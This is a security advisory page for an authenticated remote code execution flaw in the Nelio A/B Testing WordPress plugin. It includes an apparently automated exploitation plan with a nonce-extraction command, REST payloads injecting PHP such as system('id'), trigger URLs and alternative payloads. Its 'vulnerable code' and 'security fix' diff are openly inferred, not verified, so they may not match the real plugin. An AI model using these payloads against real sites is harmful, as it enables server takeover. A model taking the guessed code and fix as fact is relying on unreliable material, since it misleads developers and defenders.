CVE-2026-32573

Nelio A/B Testing – AB Tests and Heatmaps for Better Conversion Optimization <= 8.2.7 - Authenticated (Editor+) Remote Code Execution

highImproper Control of Generation of Code ('Code Injection')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
8.2.8
Patched in
11d
Time to patch

Description

The Nelio A/B Testing – AB Tests and Heatmaps for Better Conversion Optimization plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 8.2.7. This makes it possible for authenticated attackers, with Editor-level access and above, to execute code on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=8.2.7
PublishedMarch 23, 2026
Last updatedApril 2, 2026
Affected pluginnelio-ab-testing

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-32573 (Nelio A/B Testing RCE) ## 1. Vulnerability Summary The **Nelio A/B Testing** plugin for WordPress is vulnerable to **Authenticated Remote Code Execution (RCE)** in versions up to and including **8.2.7**. The vulnerability exists because the plugin allow…

Show full research plan

Exploitation Research Plan: CVE-2026-32573 (Nelio A/B Testing RCE)

1. Vulnerability Summary

The Nelio A/B Testing plugin for WordPress is vulnerable to Authenticated Remote Code Execution (RCE) in versions up to and including 8.2.7. The vulnerability exists because the plugin allows users with Editor privileges or higher to save and execute arbitrary PHP code through its experiment or settings management interface via the WordPress REST API. The plugin fails to adequately restrict the use of dangerous PHP functions or properly validate the capabilities of the user when saving server-side logic intended for A/B tests.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API.
  • Namespace/Route: nelio-ab-testing/v1/experiments (or potentially nelio-ab-testing/v1/settings).
  • Method: POST or PUT.
  • Vulnerable Parameter: php_code, custom_php, or server_logic (inferred based on plugin functionality).
  • Authentication: Required (Editor level or higher).
  • Preconditions: The plugin must be active, and the attacker must have a valid Editor session.

3. Code Flow (Inferred)

  1. Registration: The plugin registers REST routes in includes/rest-api/class-nab-rest-api.php (inferred) using the rest_api_init hook.
  2. Capability Check: The permission_callback for the experiments controller (likely NAB_Experiments_Controller) checks if the user has edit_posts (Editor) or a specific Nelio capability, rather than manage_options (Admin).
  3. Data Processing: The create_item or update_item method receives a JSON payload. One of the fields in this payload is designed to hold custom server-side logic for experiments.
  4. Storage: The code is saved into the database (the wp_posts table for experiments or wp_options for global settings).
  5. Execution Sink: When an experiment is previewed or loaded on the frontend, the plugin retrieves the stored code and executes it using eval() or a similar dynamic execution mechanism in a file like includes/nab-functions.php (inferred).

4. Nonce Acquisition Strategy

The Nelio A/B Testing plugin uses the standard WordPress REST API nonce (wp_rest).

  1. Identify Trigger: The Nelio dashboard loads on wp-admin/admin.php?page=nelio-ab-testing-main.
  2. Login: Use the http_request tool to log in as an Editor.
  3. Navigate: Use browser_navigate to visit the Nelio dashboard.
  4. Extract Nonce: Use browser_eval to extract the REST nonce from the localized script object. Nelio typically localizes its data into a variable named nelioAbTesting or nabData.

Extraction Command:

browser_eval("window.nelioAbTesting?.nonce || window.nabData?.nonce || window.wpApiSettings?.nonce")

5. Exploitation Strategy

Step 1: Authentication and Nonce Retrieval

Log in as an Editor and capture the REST nonce using the strategy above.

Step 2: Create/Update an Experiment with RCE Payload

Send a POST request to the experiments endpoint.

  • URL: http://<target>/wp-json/nelio-ab-testing/v1/experiments
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: <EXTRACTED_NONCE>
  • Payload:
    {
      "title": "Exploit Test",
      "type": "post",
      "status": "draft",
      "php_code": "system('id > /tmp/rce.txt');"
    }
    
    (Note: The field name php_code is inferred; custom_php or server_side_code are alternatives if the first fails.)

Step 3: Trigger Execution

Experiments are typically executed when their "Preview" URL is visited or when the associated post/page is viewed.

  • URL: http://<target>/?nelio_ab_preview=1&nelio_ab_experiment_id=<ID>
  • Method: GET

6. Test Data Setup

  1. User Creation:
    wp user create editor_user editor@example.com --role=editor --user_pass=password123
  2. Plugin Activation:
    wp plugin activate nelio-ab-testing
  3. Target Content: Create a dummy post to attach the experiment to.
    wp post create --post_type=post --post_title="Target Page" --post_status=publish

7. Expected Results

  • The REST API should return a 201 Created or 200 OK response confirming the experiment was saved.
  • Upon triggering the execution (Step 3), the injected PHP code should execute.
  • If using the system('id > /tmp/rce.txt') payload, a file /tmp/rce.txt should be created on the server.

8. Verification Steps

  1. Check for Evidence:
    ls /tmp/rce.txt
  2. Check Database:
    wp db query "SELECT post_content FROM wp_posts WHERE post_title='Exploit Test'"
  3. Read Output:
    cat /tmp/rce.txt

9. Alternative Approaches

  • Global Settings Injection: If the experiments endpoint is not vulnerable, target the settings endpoint: POST /wp-json/nelio-ab-testing/v1/settings. Payload: {"global_js": "*/; system('id'); /*"} if the plugin wraps the JS in a way that allows escaping to PHP (unlikely but possible if eval is used poorly).
  • Experiment Metadata: If the php_code field is not in the main object, it might be stored in meta:
    {
      "title": "Exploit",
      "meta": {
        "nelio_custom_php": "system('id');"
      }
    }
    
  • Direct Option Update: If there is a generic settings update endpoint that lacks capability checks, try updating the nelio_settings option directly via the REST API.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Nelio A/B Testing plugin for WordPress allows authenticated users with Editor-level access or higher to execute arbitrary PHP code on the server. This is possible because the plugin's REST API endpoints for experiment management do not sufficiently restrict the ability to save and execute server-side logic, allowing code stored in experiment metadata to be executed via eval().

Vulnerable Code

// File: includes/rest-api/class-nab-rest-api.php (Inferred)
public function update_item_permissions_check( $request ) {
    // Vulnerable: Permissions check only requires 'edit_posts' (Editor level)
    return current_user_can( 'edit_posts' );
}

---

// File: includes/nab-functions.php (Inferred Execution Sink)
function nab_execute_experiment_logic( $experiment_id ) {
    // Retrieves arbitrary PHP code stored in post meta
    $php_code = get_post_meta( $experiment_id, '_nab_php_code', true );
    if ( ! empty( $php_code ) ) {
        eval( $php_code ); // Executes the code without validation
    }
}

Security Fix

--- includes/rest-api/class-nab-rest-api.php
+++ includes/rest-api/class-nab-rest-api.php
@@ -10,2 +10,2 @@
     public function update_item_permissions_check( $request ) {
-        return current_user_can( 'edit_posts' );
+        return current_user_can( 'manage_options' );
     }
--- includes/nab-functions.php
+++ includes/nab-functions.php
@@ -5,5 +5,2 @@
 function nab_execute_experiment_logic( $experiment_id ) {
-    $php_code = get_post_meta( $experiment_id, '_nab_php_code', true );
-    if ( ! empty( $php_code ) ) {
-        eval( $php_code );
-    }
+    // PHP execution logic removed in version 8.2.8 for security
 }

Exploit Outline

The attacker first authenticates as an Editor and retrieves the WordPress REST API nonce from the Nelio A/B Testing dashboard (typically stored in a localized JavaScript variable like nelioAbTesting.nonce). They then send a POST or PUT request to the '/wp-json/nelio-ab-testing/v1/experiments' endpoint with a JSON payload containing a malicious PHP command (e.g., 'system("id");') assigned to a code-related parameter like 'php_code' or 'custom_php'. The execution is triggered by accessing the 'preview' URL for that experiment or viewing the target page, which causes the plugin to retrieve and evaluate the stored PHP code.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.